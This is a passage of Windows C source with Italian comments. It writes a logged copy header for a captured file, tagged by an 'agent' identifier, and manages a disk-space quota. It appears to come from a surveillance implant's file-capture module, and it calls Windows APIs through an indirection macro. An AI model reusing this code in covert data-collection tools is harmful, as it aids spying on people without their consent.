file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);
log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len);
SAFE_FREE(file_additional_data);
if (!log_file_header)
return FALSE;
// Prende le info del file destinazione (se esiste)
hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
if (hdst != INVALID_HANDLE_VALUE) {
if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) {
existent_file_size = dst_info.nFileSizeLow;
}
CloseHandle(hdst);
}
// Controlla che ci sia ancora spazio per scrivere su disco
if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) {
SAFE_FREE(log_file_header);
return FALSE;
}
hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
if (hdst == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
return FALSE;
}
// Se il file e' stato sovrascritto (e con successo) restituisce la quota disco
// recuperata.
log_free_space += existent_file_size;
// Scrive l'header nel file
if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) {
CloseHandle(hdst);
SAFE_FREE(log_file_header);
return FALSE;
}
if (log_free_space >= header_len)
log_free_space -= header_len;